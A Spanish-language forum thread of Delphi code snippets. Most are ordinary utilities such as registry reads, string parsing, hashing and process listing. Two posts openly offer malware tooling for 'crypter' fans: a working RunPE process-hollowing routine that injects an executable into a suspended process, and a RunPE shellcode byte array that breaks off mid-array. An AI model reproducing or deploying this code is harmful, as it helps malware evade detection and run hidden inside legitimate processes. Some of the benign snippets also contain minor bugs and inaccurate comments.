Imprimir Página - Librería de Snippets para Delphi

Título: Librería de Snippets para Delphi
Publicado por: crack81 en 5 Julio 2015, 20:05 pm

¿Que es un Snippet?

*Es un extracto de código que suele contener una o varias Subrutinas con el propósito de realizar una tarea específica,
cuyo código es reusable por otras personas y fácil de integrar con sólamente copiar y pegar el contenido del Snippet.

Este post esta dedicado para publicar librerias o subrutinas del lenguaje Delphi/pascal,
ya que en mi punto de vista hay falta de material comparada a lenguajes estilo c++o visual basic, esto pueda ayudar a otros nuevos programadores a introducirse en este lenguaje.

*Informacion extraida del post de snippet de Elektro

Funcion para obtener el navegador prederterminado

Código

uses
  SysUtils,Registry,windows;
 
 
function getBrowser():string;
begin
 with TRegistry.Create do
  try
    RootKey:=HKEY_CURRENT_USER;
    if openkey('\Software\Clients\StartMenuInternet',false) then
    begin
      result:=ReadString('');
      CloseKey;
    end
    else
      result:='Unknow';
  finally
   free;
  end;
end;
 
var
navegador:string;
begin
 //uso de la funcion
  navegador:=getBrowser();
  writeln('Nuestro navegador es ',navegador);//en mi caso devolver mozilla firefox
  readln;
end.

Funcion delimitator que corta una cadena entre dos delimitadores

Código

uses
  SysUtils;
 
 
function Delimitador(cadena,delm1,delm2:string):string;
var
pos1,pos2:integer;
ext,sfinal:string;
begin
  sfinal:='';
  pos1:=AnsiPos(delm1,cadena);
  if pos1<>0 then
  begin
    ext:=copy(cadena,pos1+length(delm1),length(cadena)-length(delm1));
    pos2:=AnsiPos(delm2,ext);
    if pos2<>0 then
    begin
      sfinal:=copy(ext,1,pos2-1);
    end;
  end;
 result:=sfinal;
end;
 
begin
 //uso de la funcion
  writeln(delimitador('hola_mundo_como_estas','hola','estas'));
  {devolveria: _mundo_como_ }
  readln;
end.

Funcion para obtener el S.O que estamos utilizando

Código

uses
  SysUtils,windows;
 
 
function getOperatingSystem: string;
var
osVersionInfo:TOSVersionInfo;
majorVersion,minorVersion:dword;
begin
   Result:='Unknown';
   osVersionInfo.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo);
 
   if GetVersionEx(osVersionInfo) then
   begin
 
     majorVersion:=osVersionInfo.dwMajorVersion;
     minorVersion:=osVersionInfo.dwMinorVersion;
 
     if (majorVersion=10) and (minorVersion=0) then Result:='Windows 10'
 
     else if (majorVersion=6) and (minorVersion=3) then Result:='Windows 8.1'
 
     else if (majorVersion=6) and (minorVersion=2) then Result:='Windows 8'
 
     else if (majorVersion=6) and (minorVersion=1) then Result:='Windows 7'
 
     else if (majorVersion=6) and (minorVersion=0) then Result:='Windows vista'
 
     else if (majorVersion=5) and (minorVersion=1) then Result:='Windows xp'
   end;
end;
 
var
SO:string;
begin
 //uso de la funcion
 SO:=getOperatingSystem;
 writeln('Sistema operativo actual: ',SO);//Nos muestra el S.O
 readln;
end.

Funcion para buscar la posicion de una cadena dentro de otra

Código

uses
  SysUtils;
 
 
function StringInStr(const Cadena,Buscar:string):integer;
var
i,pos,fin:integer;
begin
  pos:=1; fin:=-1;
  if length(Cadena)>=length(Buscar) then
  begin
    for i :=1  to length(Cadena) do
    begin
      if  Cadena[i]=Buscar[pos] then
      begin
 
        if pos=length(Buscar) then
        begin
           fin:=i-length(Buscar)+1;
           Break;
        end;
        inc(pos);
      end;
 
    end;
  end;
result:=fin;
end;
 
var
cadena:integer;
begin
 //uso de la funcion
 cadena:=StringInStr('lAHola mundo','la');
 writeln('Posion de m en la cadena ',cadena);//Nos regresa la posion 5
 readln;
end.

Unit para cifrar y descifrar una cadena el autor es Scorpio pero la hizo en autoit
asi que yo le hice la traduccion a Delphi

Código

unit sAlakran;
 
interface
uses StrUtils,SysUtils;
 
function sCipher(text,key:string):string;
function sUnCipher(text,key:string):string;
 
implementation
 
function asc(letras:string):integer;
begin
   if length(letras)>=1 then
      result:=ord(letras[1])
   else
     result:=0;
end;
 
function sCipher(text,key:string):string;
var
i,j,seed:integer;
sfinal:String;
begin
   sfinal:=''; seed:=0;
 
   for i :=1  to  length(key) do
   begin
     seed:=(seed+asc(key)) * length(key);
     key:=AnsiMidStr(key,2,length(key)-1);
   end;
 
   for j:=1 to length(text) do
   begin
     sfinal:=sfinal+IntToStr((ord(text[1])+seed));
     text:= AnsiMidStr(text,2,length(text));
   end;
 
   result:=sfinal;
end;
 
 
function sUnCipher(text,key:string):string;
var
seed,step,tamano,i,j:integer;
sfinal:string;
begin
   seed:=0; sfinal:='';
 
   for i :=1  to length(key) do
   begin
     seed:=(seed+asc(key))*length(key);
     key:=AnsiMidStr(key,2,length(key)-1);
   end;
 
   step:=length(inttostr(seed));
   j:=step;
   tamano:=length(text);
 
   while(j<=tamano) do
   begin
      sfinal:=sfinal+chr(strtoint(AnsiLeftStr(text,step))-seed);
      text:= AnsiMidStr(text,step+1,length(text));
      j:=j+step;
   end;
   result:=sfinal;
end;
 
end.

uso:

Código

uses
  SysUtils,
  sAlakran in 'sAlakran.pas';
 
var
cadena:string;
begin
 //uso de la funcion
 cadena:=sCipher('hola mundo45','12');
 writeln('la cadena cifrada es  ',cadena);//Nos regresa la posion 5
 cadena:=sUnCipher(cadena,'12');
 writeln('la cadena descifrada es ',cadena);
 readln;
end.

Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 5 Julio 2015, 20:06 pm

Funcion hecha en delphi para hacer operaciones matematicas como la suma,resta,multiplciacion y potencia
utilizando string

Ejemplo tenemos la operacion ---------->(5*3)+(2^4)-(2*-3) en vez de estar realizando la operacion paso por paso la metemos dentro de un string y la evaluamos directamente
con nuestra funcion y dara el resultado correcto

al utilizar la funcion es necesario especificar los operadores aritmeticos porque sino dara error
abajo les dejo un ejemplo de su uso

Código

program Project2;
{$APPTYPE CONSOLE}
{$WriteableConst On}//esta directiva es necearia para modificar constantes
 
uses
  SysUtils,Math;
 
 
// Grammar:
        // expression = term | expression `+` term | expression `-` term
        // term = factor | term `*` factor | term `/` factor | term brackets
        // factor = brackets | number | factor `^` factor
        // brackets = `(` expression `)`
 
//Esta funcion utliza recursividad mutua
 
 
function EvaluarString(const str:string):double;
const
pos:integer=0;//inicia en cero para despues convertirse en 1
var
c:integer;
procedure eatChar; //va obteniendo caracter por caracter excepto los vacios
begin
  inc(pos);
  if pos<=length(str) then c:=ord(str[pos])
  else c:=0;
end;
procedure eatSpace; //come los espacions en blanco
begin
  while c=32 do eatChar;
end;
function parseExpresion:double; forward; //prototipo de la funcion
function parseTerm:double; forward;  //prototipo de la funcion
function parseFactor:double; forward;  //prototipo de la funcion
function parse:double;
var
v:double;
begin
  eatChar();
  v:=parseExpresion();
 
  if c<>0 then
  begin
    writeln('Error en el simbolo ',char(c));
    Result:=0.0;
    Exit;
  end;
  Result:=v;
end;
function parseExpresion:double;
var
v:double;
begin
   v:=parseTerm();
 
   while(true)do
   begin
 
     eatSpace();
 
     if c=ord('+') then //suma
     begin
       eatChar();
       v:=v+parseTerm();
     end
     else if c=ord('-') then  //resta
     begin
       eatChar();
       v:=v-parseTerm();
     end
     else
     begin
       Result:=v;
       break;//necesario si no entra en un bucle sin fin
     end;
   end;
end;
function parseTerm:double;
var
v:double;
begin
  v:=parseFactor();
  while True do
  begin
    eatSpace();
 
    if c=ord('/') then
    begin
      eatChar;
      v:=v/parseFactor;
    end
    else if((c=ord('*')) or (c=ord('('))) then  //multiplicacion
    begin
       if c=ord('*') then eatChar;
       v:=v*parseFactor();
    end
    else
    begin
      Result:=v;
      break;//necesario si no entra en un bucle sin fin
    end;
  end;
end;
function parseFactor:double;
var
v:double;
negate:boolean;
sb:string;
begin
  negate:=false;
  eatSpace;
 
  if c=ord('(') then
  begin
    eatChar;
    v:=parseExpresion;
 
    if c=ord(')') then eatChar;
  end
  else   //numeros
  begin
    if ((c=ord('+')) or (c=ord('-'))) then  //simbolos unarios positivo y negativo
    begin
      negate:=c=ord('-');
      eatChar;
      eatSpace;
    end;
 
    sb:='';
    while (((c>=ord('0'))and (c<=ord('9'))) or (c=ord('.'))) do
    begin
      sb:=sb+chr(c);
      eatChar;
    end;
 
 
    if length(sb)=0 then
    begin
      writeln('Error no existen caracterese en sb');
      result:=0.0;
      Exit;
    end;
 
    v:=strtofloat(sb);
  end;
  eatSpace;
  if c=ord('^') then  //exponente
  begin
    eatChar;
    v:=Math.Power(v,parseFactor);
  end;
 
  if negate then v:=-v;
  result:=v;
end;
begin
  result:=parse();//retorna la operacion
end;
 
 
var
e:double;
begin
  //Ejemplo de uso
  e:=EvaluarString('(5*3)+(5^2)');  //evaluar expresion
  writeln(e:0:2);//resultado 40
  readln;
end.

Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 5 Julio 2015, 20:17 pm

Funcion para convetir de string a hexadecimal y viceversa

Código

uses
  SysUtils;
 
function stringToHex(const data:string):string;
var
i:integer;
sfinal:String;
begin
  sfinal:='';
 
  for i:=0 to length(data) do
  begin
    sfinal:=sfinal+IntToHex(ord(data[i]),2);
  end;
  result:=sfinal;
end;
 
 
function hexTostring(const data:string):string;
var
i:integer;
sfinal:String;
begin
  i:=1;
  sfinal:='';
 
  if(length(data)mod 2<>0)then
  begin
    Result:='';
    Exit;
  end;
 
  while(i<=length(data))do
  begin
    sfinal:=sfinal+chr(strtoint('$'+(Copy(data,i,2))));
    i:=i+2;
  end;
  result:=sfinal;
end;
 
var
str,normal:String;
begin
 str:=stringToHex('hola mundo');
 writeln('En hexadecimal es ',str);
 normal:=hexTostring(str);
 writeln('lo regresamos a la normalidad ',normal);
 readln;
end.

Funcion renombrar archivos el autor original es Elektro yo solo le hice la traduccion

Código

function renameFile(_File:string;NewFilename:string;NewFileExtension:string=''):boolean;
begin
  if FileExists(_File) then
  begin
    try
      if NewFileExtension='' then
        MoveFile(pchar(_File),pchar(ExtractFilePath(_File)+NewFilename+ExtractFileExt(_File)))
      else
        MoveFile(pchar(_File),pchar(ExtractFilePath(_File)+NewFilename+'.'+NewFileExtension));
    except
      on E:Exception do
        result:=False;
    end;
  end
  else
    Result:=False;
end;

Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 7 Julio 2015, 06:09 am

Funcion para obtener la arquitectura del sistema operativo

Código

function getArchitecture:string;
var
sysInfo:SYSTEM_INFO;
begin
   GetSystemInfo(sysInfo);
   case sysInfo.wProcessorArchitecture of
     0:result:='x86';
     9:result:='x64';
     else result:='unknown';
   end;
end;

Funcion para obtener el numero de procesadores

Código

function numberOfProcessors:Dword;
var
sysInfo:SYSTEM_INFO;
begin
   GetSystemInfo(sysInfo);
   result:=sysInfo.dwNumberOfProcessors;
end;

Funcion para obtener el tipo de procesador

Código

function ProcessorType:string;
var
sysInfo:SYSTEM_INFO;
begin
   GetSystemInfo(sysInfo);
   case sysInfo.dwProcessorType of
     220:result:='PROCESSOR_INTEL_IA64';
     386:result:='PROCESSOR_INTEL_386';
     486:result:='PROCESSOR_INTEL_486';
     586:result:='PROCESSOR_INTEL_PENTIUM_586';
     8664:result:='PROCESSOR_AMD_X8664';
     else result:='Unknown';
   end;
end;

Esta ultima funcion segun microsoft deberia estar obsoleta
no olviden añadir el use windows para poder usar las funciones

ejemplo de uso

Código

begin
   writeln('Arquitectura de la computadora ',getArchitecture()); //en mi caso x86
   writeln('Numero de procesadores ',numberOfProcessors());
   writeln('Tipo de procesador ', ProcessorType());//esta funcion deberia estar obsoleta
   readln;
end.

Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 14 Julio 2015, 05:30 am

Funcion para saber si un numero esta en un rango entre dos numeros,
si es cierto retorna true sino retorna false

Código

function numberIsInRange(const number,min,max:integer):boolean;
begin
 result:=((min<=number) and (number<=max));
end;
 
begin
    writeln(numberIsInRange(5,1,100);  //muestra true
    writeln(numberIsInRange(0,55,98);  //muestra false
    writeln(numberIsInRange(25,55,98); //muestra true
    Readln;
end.

Funcion que muestra los tamaños maximos de los diferentes tipos de entero
en Delphi, el enfoque principal son las funciones low y High que son las
encargadas de retornarnos ese valor, esto solo es valido con numeros enteros
y no con reales

Código

procedure sizeMaxOfDataType;
begin
  writeln('Byte    -> ',low(Byte),' to ',high(Byte));
  writeln('Integer -> ',low(integer),' to ',high(integer));
  writeln('Int64   -> ',low(Int64),' to ',high(Int64));
  writeln('LongInt -> ',low(LongInt),' to ',high(LongInt));
  writeln('Longword -> ',low(Longword),' to ',high(Longword));
  writeln('Word -> ',low(Word),' to ',high(Word));
end;

Funciones una para leer archivos .exe y almacenarlo como string y la otra para poder convertir strings a .exe
utilizando la clase Tfilestream

Código

uses
  SysUtils,classes;
 
{
Funcion que lee un fichero y lo convierte a string el caso mas comun es
cuando necesitas leer un exe y hacer alguna modifcacion como cifrarlo o
alterar su informacion la funcion necesita el use classes para poder llamar a
la clase Tfilestream
 
}
function binaryToString(const path:string):String;
var
_File:TFileStream;
size:Int64;
begin
  if FileExists(path) then
  begin
    _File:=TFileStream.Create(path,fmOpenRead);
    try
      size:=_File.Size;
      SetLength(result,size);
      _File.Read(result[1],size);
    finally
      _File.Free;
    end;
  end
  else result:='';
end;
 
 
{Funcion para crear un fichero en base a un string que le pasemos, esta
 funcion se usa en conjunto con la anterior ya que despues de leer y modificar
 un fichero necesitamos volver a regresarlo a un estado de fichero  por eso la
 necesidad de esta funcion.
}
function stringToBinary(const nameExe,source:string):Boolean;
var
 _File:TFileStream;
begin
  result:=false;
  _File:=TFileStream.Create(nameExe,fmCreate);
  try
    _File.Write(source[1],length(source));
  finally
    _File.Free;
  end;
 
  result:=true;
end;
 
var
source:string;
begin
    source:=binaryToString('C:\archivo.exe');
    stringToBinary('C:\nuevoArchivo.exe',source);
    writeln('listo');
    Readln;
end.

Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 14 Julio 2015, 05:33 am

Para los que les gusta el tema del malware y los crypter les traigo una traduccion que hice de un runpe originalmente hecho en c++

Código

unit Unit1;
 
interface
uses windows;
 
procedure run(szFilePath:LPSTR;pFile:PVOID);
 
implementation
 
function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
procedure RtlZeroMemory(Destination:pointer;Length:DWORD);stdcall;external 'ntdll';
 
procedure run(szFilePath:LPSTR;pFile:PVOID);
var
IDH:PImageDosHeader;
INH:PImageNtHeaders;
ISH:PImageSectionHeader;
PI:PROCESS_INFORMATION;
SI:STARTUPINFOA;
CTX:PContext;
dwImageBase:PDWORD;
pImageBase:LPVOID;
count:Integer;
BitesRead:SIZE_T;
ByteWritten:SIZE_T;
ByteWritten2:SIZE_T;
ByteWritten3:SIZE_T;
begin
  IDH:=PImageDosHeader(pFile);
  if (IDH.e_magic=IMAGE_DOS_SIGNATURE) then
  begin
    INH:=PImageNtHeaders(DWORD(pFile)+IDH._lfanew);
    if INH.Signature=IMAGE_NT_SIGNATURE then
    begin
      RtlZeroMemory(@SI,sizeof(SI));
      RtlZeroMemory(@PI, sizeof(PI));
 
      if( CreateProcessA(szFilePath,nil,nil,nil,false,CREATE_SUSPENDED,nil,nil,SI,PI)) then
      begin
         CTX:=PContext(VirtualAlloc(nil,sizeof(CTX),MEM_COMMIT,PAGE_READWRITE));
         CTX.ContextFlags:=CONTEXT_FULL;
 
         if GetThreadContext(PI.hThread,_CONTEXT(CTX^)) then
         begin
           ReadProcessMemory(PI.hProcess,pointer(CTX.Ebx+8),pointer(@dwImageBase),4,BitesRead);
 
           if (Dword(dwImageBase)=INH.OptionalHeader.ImageBase) then
           begin
             NtUnmapViewOfSection(PI.hProcess,pointer(dwImageBase));
           end;
 
            pImageBase:= VirtualAllocEx(PI.hProcess, POINTER(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, 12288, PAGE_EXECUTE_READWRITE);
            if pImageBase<>nil then
            begin
              WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH.OptionalHeader.SizeOfHeaders, ByteWritten);
              for count := 0 to INH.FileHeader.NumberOfSections-1 do
              BEGIN
                  ISH:=PImageSectionHeader(DWORD(pFile) + IDH._lfanew+ 248 + (Count * 40));
                  WriteProcessMemory(PI.hProcess, pointer(DWORD(pImageBase) + ISH.VirtualAddress), pointer(DWORD(pFile) + ISH.PointerToRawData), ISH.SizeOfRawData, ByteWritten2);
              END;
 
               WriteProcessMemory(PI.hProcess, pointer(CTX.Ebx + 8), pointer(@INH.OptionalHeader.ImageBase), 4, ByteWritten3);
               CTX.Eax := DWORD(pImageBase) + INH.OptionalHeader.AddressOfEntryPoint;
               SetThreadContext(PI.hThread, _CONTEXT(CTX^));
               ResumeThread(PI.hThread);
            end;
 
         end;
 
      end;
 
    end;
 
  end;
   VirtualFree(ctx, 0, MEM_RELEASE)
 
end;
 
end.

Título: Re: Librería de Snippets para Delphi
Publicado por: Eleкtro en 14 Julio 2015, 06:17 am

¿Nadie va a decir nada o que? :¬¬

pues lo digo yo: GRACIAS POR COMPARTIR DESINTERESADAMENTE, muy buen aporte.

PD: El embarcadero lo tengo muerto de risa, quizás algún día lo reviva aunque sea para probar alguno de estos códigos por pura curiosidad.

Saludos!

Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 20 Julio 2015, 19:06 pm

Funciones para el tratamiento de procesos el codigo es extraido de club Delphi

Código

uses
  SysUtils,windows,TlHelp32;
 
{obtener el nombre de los procesos activos}
procedure obtenerProcesos;
var
continuar:BOOL;
snapshotHandle:THandle;
processEntry32:TProcessEntry32;
begin
    { Creas un Handle para leer procesos }
   snapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   try
    { Creás un buffer de procesos }
    processEntry32.dwSize:=sizeof(processEntry32);
    { continuar es un flag que busca el siguiente proceso y, si hay, lo guarda en processEntry32 }
    continuar:=Process32First(snapshotHandle,processEntry32);
 
    while continuar do
    begin
       {muestra los procesos por consola}
       writeln(processEntry32.szExeFile);
       {busca el siguiente proceso si retorna false sale del bucle}
       continuar:=Process32Next(snapshotHandle,processEntry32);
    end;
   finally
     {cerramos el handle llamado snapshotHandle}
     CloseHandle(snapshotHandle);
   end;
end;
 
 
{compruba si un proceso esta activo a traves de su nombre}
function ProcessExists(AExeName: String): boolean;
var
  ContinueLoop: LongBool;
  FSnapshotHandle: THandle;
  FProcess: TProcessEntry32;
  FExeFound: TFileName;
begin
  { Limpias el hacés un genérico para el FileName }
  AExeName := UpperCase(AExeName);
  Result := False;
  { Creas un Handle para leer procesos }
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  { Creás un buffer de procesos }
  FProcess.dwSize := SizeOf(FProcess);
  { ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
  ContinueLoop := Process32First(FSnapshotHandle, FProcess);
  while (ContinueLoop) and NOT(Result) do
  begin
    { Almacenás el nombre "genéroco" del proceso encontrado }
    FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
    Result := (FExeFound = AExeName);
    ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
  end;
  { Cerrás el Handle }
  CloseHandle(FSnapshotHandle);
end;
 
 
{mata algun proceso activo}
function ProcessKill(AExeName: String; Iterative: boolean = TRUE): boolean;
const
  TERMINATE = $0001;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcess: TProcessEntry32;
  FExeFound: TFileName;
Label NO_ITERATIVE;
begin
  Result := False;
  { Limpias el hacés un genérico para el FileName }
  AExeName := UpperCase((AExeName));
  { Creas un Handle para leer procesos }
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  { Creás un buffer de procesos }
  FProcess.dwSize := SizeOf(FProcess);
  { ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
  ContinueLoop := Process32First(FSnapshotHandle, FProcess);
  while (ContinueLoop) do
  begin
    { Almacenás el nombre "genéroco" del proceso encontrado }
    FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
    if (FExeFound = AExeName) then
    begin
      Result := True;
      { Para matarlo lo debés abrir con el flag de TERMINATE }
      TerminateProcess(OpenProcess(TERMINATE, BOOL(0), FProcess.th32ProcessID),0);
      if NOT(Iterative) then { Si no es iterativo sale directamente a cerrar el Handle }
        GoTo NO_ITERATIVE;
    end;
    ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
  end;
NO_ITERATIVE :
  CloseHandle(FSnapshotHandle);
end;
 
 
begin
 
  obtenerProcesos;//muestra el nombre de los procesos activos
  writeln;
  writeln('Existe calc.exe ',ProcessExists('calc.exe')); //es la calculadora de windows
  Writeln('Proceso matado ',ProcessKill('calc.exe'));
  readln;
end.

Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 28 Julio 2015, 19:48 pm

Funcion para obtener la ultima version del framework .NET

Código

uses
 
  Classes,SysUtils,Registry
  { you can add units after this };
 
function getNetVersion:string;
var
  values:TStringList;
begin
  with TRegistry.Create do
  try
    RootKey:=HKEY_LOCAL_MACHINE;
    if OpenKey('\SOFTWARE\Microsoft\NET Framework Setup\NDP',false) then
    begin
      values:=TStringList.Create;
      try
        GetKeyNames(values);
        if values.Count>0 then result:=values[values.Count-1]
        else result:='Unknown';
      finally
        values.Free;
      end;
      CloseKey();
    end
  finally
    free;
  end;
end;
 
var
  cadena:String;
begin
   cadena:=getNetVersion;
   writeln(cadena);
   readln;
end.

Título: Re: Librería de Snippets para Delphi
Publicado por: BDWONG en 6 Agosto 2015, 06:16 am

Funcion para acortar urls usando la api de tinyurl, les dejo la funcion y coomo usarla

Código

uses
  SysUtils,idhttp;
 
function getShortUrl(const url: string): string;
var
http:TIdHTTP;
begin
  http:=TIdHTTP.Create(nil); //creamos el objeto
  try
   Result:=http.Get('http://tinyurl.com/api-create.php?url='+url); //retornamos la url
  finally
   http.Free;//liberamos el objeto
  end;
end;
 
 
//ejemplo de uso
var //declaramos variables
url:string;
urlCorta:string;
begin
  url:='https://www.google.com.mx'; //url original
  urlCorta:=getShortUrl(url); //obtenemos la url corta
  writeln('La url es: ',urlCorta);//la mostramos por pantalla
  Readln;
end.

Título: Re: Librería de Snippets para Delphi
Publicado por: BDWONG en 6 Agosto 2015, 06:48 am

Les dejo dos funciones para obtener tanto el md5 de los ficheros como de las cadenas, las funciones fuero probadas en Delphi 2010 creo que en Delphi 7 cambia un poco la forma de obtenerlo

Código

uses
  SysUtils,IdHashMessageDigest, idHash,classes;
 
//funcin para obtener el md5 de ficheros como los .exe
function FileMD5(const fileName : string) : string;
 var
   idmd5 : TIdHashMessageDigest5;
   fs : TFileStream;//Es una Clase para leer ficheros como los .exe
 begin
   idmd5 := TIdHashMessageDigest5.Create; //creamos objeto para calcular md5
   fs := TFileStream.Create(fileName, fmOpenRead OR fmShareDenyWrite) ; //stream para leer el fichero
   try
     result := idmd5.HashStreamAsHex(fs); //obtenemos md5 del fichero
   finally
   //liberamos los objetos
     fs.Free;
     idmd5.Free;
   end
end;
 
 
//funcion para obtener el md5 de cualquier string
function StringMd5(const data : string) : string;
 var
   idmd5 : TIdHashMessageDigest5;
 begin
   idmd5 := TIdHashMessageDigest5.Create;//creamos el objeto
   try
     result := idmd5.HashStringAsHex(data);//retornamos el md5 del string
   finally
     idmd5.Free;//liberamos el objeto
   end
end;
 
 
var
ruta,strMd5,cadena:string;
begin
  ruta:='C:\project1.exe';  //ruta del fichero
  strMd5:=FileMD5(ruta); //obtenemos md5
  writeln('El md5 del fichero es ',strMd5);//lo mostramos
 
 
  {-------------------------------------------}
 
  cadena:='hola mundo';//cadena a calcular md5
  strMd5:=StringMd5(cadena);//obtenemos su md5
  writeln('El md5 del string  es ',strMd5);//lo mostramos
 
  readln;
end.

Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 14 Agosto 2015, 03:56 am

Funcion para cambiar el fondo al escritorio utilizando la api de windows

Código

uses
  SysUtils,
  windows;
 
function cambiarFondo(const imagen:string):boolean;
begin
   Result:=SystemParametersInfo(20,0,@imagen[1],0);
end;
 
var
 foto:string;
begin
 writeln(cambiarFondo('image.bmp'));
 writeln('Imagen cambiada');
 readln;
end.

Otra alternativa para cambiar el fondo de un escritorio pero ahora utilizando la interfaz IActiveDesktop

Código

uses
  SysUtils,
  ComObj,ShlObj,ActiveX,windows;
 
function ChangeWallpaper(const Image: widestring): Boolean;
const
  CLSID_ActiveDesktop: TGUID = '{75048700-EF1F-11D0-9888-006097DEACF9}';
var
  ADesktop: IActiveDesktop;
begin
  CoInitialize(nil);
  ADesktop     := CreateComObject(CLSID_ActiveDesktop)as IActiveDesktop;
  try
    ADesktop.SetWallpaper(pwidechar(Image), 0);
    ADesktop.ApplyChanges(AD_APPLY_ALL or AD_APPLY_FORCE);
  finally
    CoUninitialize;
  end;
  Result:=True;
end;
 
begin
   ChangeWallpaper('C:\image.bmp');
   Writeln('Imagen cambiada');
   Readln;
end.

Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 18 Septiembre 2015, 01:50 am

Funcion para decodificar una url del servicio Adf.ly
uso: le pamos la url codificada y nos retorna la original, ojo para usar esta funcion se necesita conexion a internet.

Código

uses
  SysUtils,
  IdHTTP,
  IdCoderMIME;
 
function DecodeAdFly(const url:string):string;
var
http:TIdHTTP;
content,data,urlFinal,part1,part2:string;
pos1,pos2,i,npos:integer;
const
STRINGKEY='ysmm = ';
begin
  urlFinal:='';
  i:=1;
  http:=TIdHTTP.Create(nil);
  try
    content:=http.Get(url);//obtenemos el codigo html
    pos1:=pos(STRINGKEY,content);//encontramos el ysmm =
    pos2:=1;
    npos:=pos1;
    while(content[npos]<>';')do//recorremos el content hasta encontrar el ';'
    begin
      inc(npos);
      inc(pos2);//el pos2 nos dira cuantos caracteres tiene el ysmm
    end;
    //data alamcenrar la cadena de ysmm
    data:=copy(content,pos1+length(STRINGKEY)+1,pos2-length(STRINGKEY)-3);
    while(i<=length(data)) do //filtramos la cadena llamada data
    begin
      part1:=part1+data[i];
      part2:=data[i+1]+part2;
      i:=i+2;
    end;
    urlFinal:=TIdDecoderMIME.DecodeString(part1+part2);//los desciframos con base64
    Result:=copy(urlFinal,3,length(urlFinal)-2);//retornamos la url original
  finally
    http.Free; //liberamos el objeto creado arriba
  end;
end;
 
var
url:string;
begin
  url:=DecodeAdFly('http://adf.ly/dLgCS');
  writeln(url);
  readln;
end.

Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 25 Octubre 2015, 20:28 pm

Para lo que les gusta el tema de los crypter les traigo un runpe en modo shellcode
y como usarlo

Código

uses
  SysUtils,windows;
 
//shellcode del runPE  uso y parametros: runPE(path:pwidechar; bufferExe:pointer):cardinal;
Const
  Shell: Array [0 .. 1287] Of Byte = ($60, $E8, $4E, $00, $00, $00, $6B, $00, $65, $00, $72, $00, $6E, $00, $65, $00, $6C, $00, $33, $00, $32, $00, $00, $00, $6E, $00, $74, $00, $64, $00, $6C, $00,
    $6C, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
    $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $5B, $8B, $FC, $6A, $42, $E8, $BB, $03, $00, $00, $8B, $54, $24, $28, $89, $11, $8B, $54, $24, $2C, $6A, $3E, $E8, $AA, $03, $00,
    $00, $89, $11, $6A, $4A, $E8, $A1, $03, $00, $00, $89, $39, $6A, $1E, $6A, $3C, $E8, $9D, $03, $00, $00, $6A, $22, $68, $F4, $00, $00, $00, $E8, $91, $03, $00, $00, $6A, $26, $6A, $24, $E8, $88,
    $03, $00, $00, $6A, $2A, $6A, $40, $E8, $7F, $03, $00, $00, $6A, $2E, $6A, $0C, $E8, $76, $03, $00, $00, $6A, $32, $68, $C8, $00, $00, $00, $E8, $6A, $03, $00, $00, $6A, $2A, $E8, $5C, $03, $00,
    $00, $8B, $09, $C7, $01, $44, $00, $00, $00, $6A, $12, $E8, $4D, $03, $00, $00, $68, $5B, $E8, $14, $CF, $51, $E8, $79, $03, $00, $00, $6A, $3E, $E8, $3B, $03, $00, $00, $8B, $D1, $6A, $1E, $E8,
    $32, $03, $00, $00, $6A, $40, $FF, $32, $FF, $31, $FF, $D0, $6A, $12, $E8, $23, $03, $00, $00, $68, $5B, $E8, $14, $CF, $51, $E8, $4F, $03, $00, $00, $6A, $1E, $E8, $11, $03, $00, $00, $8B, $09,
    $8B, $51, $3C, $6A, $3E, $E8, $05, $03, $00, $00, $8B, $39, $03, $FA, $6A, $22, $E8, $FA, $02, $00, $00, $8B, $09, $68, $F8, $00, $00, $00, $57, $51, $FF, $D0, $6A, $00, $E8, $E8, $02, $00, $00,
    $68, $88, $FE, $B3, $16, $51, $E8, $14, $03, $00, $00, $6A, $2E, $E8, $D6, $02, $00, $00, $8B, $39, $6A, $2A, $E8, $CD, $02, $00, $00, $8B, $11, $6A, $42, $E8, $C4, $02, $00, $00, $57, $52, $6A,
    $00, $6A, $00, $6A, $04, $6A, $00, $6A, $00, $6A, $00, $6A, $00, $FF, $31, $FF, $D0, $6A, $12, $E8, $A9, $02, $00, $00, $68, $D0, $37, $10, $F2, $51, $E8, $D5, $02, $00, $00, $6A, $22, $E8, $97,
    $02, $00, $00, $8B, $11, $6A, $2E, $E8, $8E, $02, $00, $00, $8B, $09, $FF, $72, $34, $FF, $31, $FF, $D0, $6A, $00, $E8, $7E, $02, $00, $00, $68, $9C, $95, $1A, $6E, $51, $E8, $AA, $02, $00, $00,
    $6A, $22, $E8, $6C, $02, $00, $00, $8B, $11, $8B, $39, $6A, $2E, $E8, $61, $02, $00, $00, $8B, $09, $6A, $40, $68, $00, $30, $00, $00, $FF, $72, $50, $FF, $77, $34, $FF, $31, $FF, $D0, $6A, $36,
